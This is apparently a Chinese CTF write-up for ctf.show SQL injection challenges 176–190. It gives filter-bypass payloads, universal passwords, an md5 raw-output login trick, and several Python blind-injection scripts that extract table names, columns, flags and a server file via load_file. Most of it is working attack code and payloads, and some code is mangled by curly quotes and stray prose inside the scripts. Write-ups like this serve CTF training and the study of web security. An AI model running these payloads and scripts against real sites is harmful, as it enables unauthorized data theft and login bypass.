176 大小写绕过,select改为Select
177空格绕过 改为/**/(注释符)
178空格绕过 改为%09 (tab)
179空格绕过 改为%0c (换页符FF)
180空格绕过 注释符号改为–%0c(原来是–[空格])
181万能密码1‘%0cOR%0c1–%0c 或 1’%0cOR%0cusername=’flag
这里拼接到原语句就是(username !=’flag’ and id=’0′) OR (username=’flag’) 因为and的优先级大于or所以username !=’flag’ and id=’0’是一组,这样逐行判断时,当username = ‘flag’ 时,条件为真,返回查询结果
182 0’%0cor%0cusername%0clike’f% (like ‘f%’ 匹配f+任意字符,例如fa,fl,flag)
185-186
数字0-9被ban了
考虑用sql中1可以用true表示,0可以false表示,例如(true+ture)= 2
脚本如下
import requests
url = “http://1947e01e-3a40-49e7-9bbe-6da9a980ac8c.challenge.ctf.show/select-waf.php”
flag = ”
aflag = ”
str1 = ‘{0123456789-qwertyuiopasdfghjklzxcvbnm}’
zd = {
‘0’ : ‘false,’,
‘1’ : ‘true,’,
‘2’ : ‘(true+true),’,
‘3’ : ‘(true+true+true),’,
‘4’ : ‘(true+true+true+true),’,
‘5’ : ‘(true+true+true+true+true),’,
‘6’ : ‘(true+true+true+true+true+true),’,
‘7’ : ‘(true+true+true+true+true+true+true),’,
‘8’ : ‘(true+true+true+true+true+true+true+true),’,
‘9’ : ‘(true+true+true+true+true+true+true+true+true),’
}
#数字对应ture的字典
for x in range(50):
for i in str1:
#循环字符列表
kong = ”
for c in str(ord(i)):
#把i转为ord再转str,例如‘{‘->123->’123’,
kong += zd[c]
#上面为例,即kong三次拼接,结果为:’true,(true,true),(true,true,true),’
kong = ‘char(‘+’concat(‘+kong[:-1]+’)),’
再做一次拼接,这里的char和concat都是sql里的函数,结果为char(concat(ture,(true,true),(true,true,true))) , (这里对kong的切片操作是为了删掉原来末尾的逗号),这样在查询语句中就被解析为char(concat(1,2,3))
->char(123)->'{‘
data = {
‘tableName’ : ‘ctfshow_user group by pass having pass regexp(concat({}))’.format(aflag+kong[:-1])
#第二次切片是为了删去末尾的逗号,和上面不同,这里删去的是原本’)),’的逗号,这里的concat是为了找到第一个字符之后,再把后面的字符再拼姐一次,例如concat(char(123),char(99))->concat(‘{‘,’c’)->'{c’
}
r = requests.post(url,data = data)
if r.text.find(‘$user_count = 1;’) > 0:
flag += i
aflag += kong
#如果返回了count=1,flag就拼上对应的字符,aflag拼上当前的空,继续下一轮寻找
print(flag)
if i == ‘}’:
exit()
#找到末尾’}‘,就结束程序
break
else:
continue
187 万能密码ffifdyop md5(xxx,true)被设置为true返回的是原始16字节2进制数据,而
md5(ffifdyop,true) => ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c” or后的字符串非0非空,值为真,成功登录
188 username=0 & password=0
查询语句中username和0比较,而不以数字开头的字符串在弱比较时会转成0,条件就为真,返回查询语句
189,根据上题的经验,username字段的数据类型是字符串,那么username = 0 会返回查询的结果,页面回显是“密码错误”,而username = 1,测试后发现返回的是“查询失败”,说明没有满足=1的username。
所有可以根据不同的回显结果来进行爆破,脚本
import requests
url = “http://f6b633a4-f791-42e5-a849-a640fdf9a18d.challenge.ctf.show/api/”
def getp():
head = 1
tail = 300
while head<tail:
mid = (tail+head) >> 1
data = {
‘username’ : “if(locate(‘ctfshow{‘,”+”load_file(‘/var/www/html/api/index.php’))>{0},0,1)”.format(str(mid)),
‘password’ : ‘0’
}
r = requests.post(url = url,data = data)
if r.json()[‘msg’] == ‘密码错误’:
head = mid + 1
else:
tail = mid
return head
def getflag(num):
i = int(num)
result =”
while 1:
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
data = {
‘username’ : ‘if(ascii(substr(load_file(“/var/www/html/api/index.php”),{0},1))>{1},0,1)’.format(i,mid),
‘password’ : ‘0’
}
r = requests.post(url = url, data = data)
if r.json()[‘msg’] == ‘密码错误’:
head = mid + 1
else:
tail = mid
i+=1
if(chr(head) != ‘}’):
result += chr(head)
print(result)
else:
break
return result+’}’
if __name__ == ‘__main__’:
num = getp()
print(getflag(num))
190
import requests
url=’http://04b5ef7e-39a9-445e-abfe-6c8db49edf64.challenge.ctf.show/api/’
def gettable():
table=”
for i in range(1,13):
head = 32
tail = 127
while head < tail:
mid = (head+tail) >> 1
data = {
‘username’: “admin’ and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),{0},1)) > {1},1,0)#”.format(i,mid)
,’password’:’1′
}
r = requests.post(url = url,data = data)
if r.json()[‘msg’] == ‘密码错误’:
head = mid+1
else:
tail = mid
table+=chr(head)
print(table)
return table
def getcolumn(table_name):
column = ”
for i in range(1, 50):
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
data = {
‘username’: “admin’ and if(ascii(substr((select column_name from information_schema.columns where table_name='{0}’ limit 1,1),{1},1))>{2},1,0)#”.format(table_name, i, mid),
‘password’: ‘1’
}
r = requests.post(url=url, data=data)
if r.json()[‘msg’] == ‘密码错误’:
head = mid + 1
else:
tail = mid
if head != 32:
column += chr(head)
print(column)
else:
break
return column
def getflag(table_name,column_name):
table_name = str(table_name)
column_name = str(column_name)
flag = ”
for i in range(1,50):
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
data = {
‘username’ : “admin’ and if(ascii(substr((select {0} from {1} limit 0,1),{2},1))>{3},1,0)#”.format(column_name,table_name,i,mid)
,’password’ : ‘1’
}
r = requests.post(url = url,data = data)
if r.json()[‘msg’] == “密码错误”:
head = mid + 1
else:
tail = mid
if(head != 32):
flag+=chr(head)
print(flag)
else:
break
return flag
if __name__ == ‘__main__’:
table_name=gettable()
print(table_name)
column_name = getcolumn(table_name)
print(getflag(table_name,column_name))


